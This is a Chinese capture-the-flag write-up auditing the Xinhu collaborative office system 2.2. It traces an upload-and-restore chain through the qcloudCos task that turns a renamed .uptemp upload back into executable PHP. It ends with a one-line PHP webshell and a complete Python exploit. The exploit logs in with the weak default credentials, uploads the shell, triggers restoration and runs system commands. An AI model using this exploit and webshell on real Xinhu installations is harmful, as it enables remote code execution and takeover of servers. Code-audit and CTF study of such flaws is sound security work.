文章目录

  • ​​写在前面​​
  • 分析​​
  • ​​脚本​​

写在前面

本次强网杯决赛的一个题,还是蛮有意思的,代码可以在github拿到
​​​ https://github.com/rainrocka/xinhu​

分析

首先这个系统存在弱口令,在题目给的sql文件当中通过在线md5得到​​test/abc123​

接下来就是随便找一个地方进行文件上传

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_thinkphp


我们抓包看看对这个php文件进行了什么处理,其调用了​​webmain/task/api/uploadAction.php​​下uploadClassAction类的upfileAction函数

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_php_02


引入插件,实例化​​upfileChajian​​类

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_github_03


跳过不需太过于关注的部分,我们跟踪​​up​​函数

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_后缀_04


看看issavefile

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_github_05


是一个白名单很明显php后缀不符合

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_php_06


跳过不相干一堆函数

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_github_07


可以很明显的发现这类白名单外的文件会被改后缀为​​uptemp​

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_php_08


内容为原来内容的base64编码结果,猜测估计是为了防止文件包含,不过都到这里了确实有点小单纯

接下来就是最关键的地方,在​​webmain\task\runt\qcloudCosAction.php​​腾讯云存储下的​​qcloudCosClassAction​​的​​run​​方法,根据id从数据库取出数据,接下来看图

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_thinkphp_09


一方面恢复了php后缀,另一方面内容也通过base64还原了

运行下下面的脚本可以看见成功执行whoami

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_php_10

脚本

​1.php​

<?php eval($_GET["1"]);?>

​exp.py​

import requests


session = requests.session()

url_pre = 'http://url/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'dGVzdA::',
'adminpass': 'YWJjMTIz',
'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('whoami');")
print(r.text)